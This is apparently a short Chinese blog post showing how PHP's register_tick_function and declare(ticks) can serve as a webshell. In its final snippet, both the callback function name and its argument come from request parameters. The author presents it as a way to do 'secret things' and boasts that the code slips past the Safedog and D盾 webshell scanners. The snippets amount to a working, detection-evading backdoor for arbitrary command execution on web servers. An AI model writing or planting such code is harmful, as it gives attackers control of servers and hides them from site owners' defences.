摘要:昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。register_tick_function可以看做一个回调函数,而这个函数...
昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。
register_tick_function可以看做一个回调函数,而这个函数却很少人用,我们有些地方可以利用这个函数来做一些秘密的事情~
不懂?怎么可以执行自己想要的函数呢?
简单举例:<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2]);
declare(ticks = 2);
猜猜上面这段代码能干啥。。。。
显然这个回调函数是由我们来控制的。。。。
这下懂了吧。。。
当然register_tick_function还有第二个参数,就是为该回调的函数传参用的,比如:<?php
function doticks ($a = ''){
echo 'ticks
';
echo $a;
}
register_tick_function('doticks', $_GET['p']);
declare(ticks = 2);
执行结果:
注:最最主要的是这些代码 “狗狗” 和 “D盾” 都未发觉。。。。
最后在献上一点代码,朋友们看看这段代码能做什么呢?<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2], $_REQUEST['m']);
declare(ticks = 2);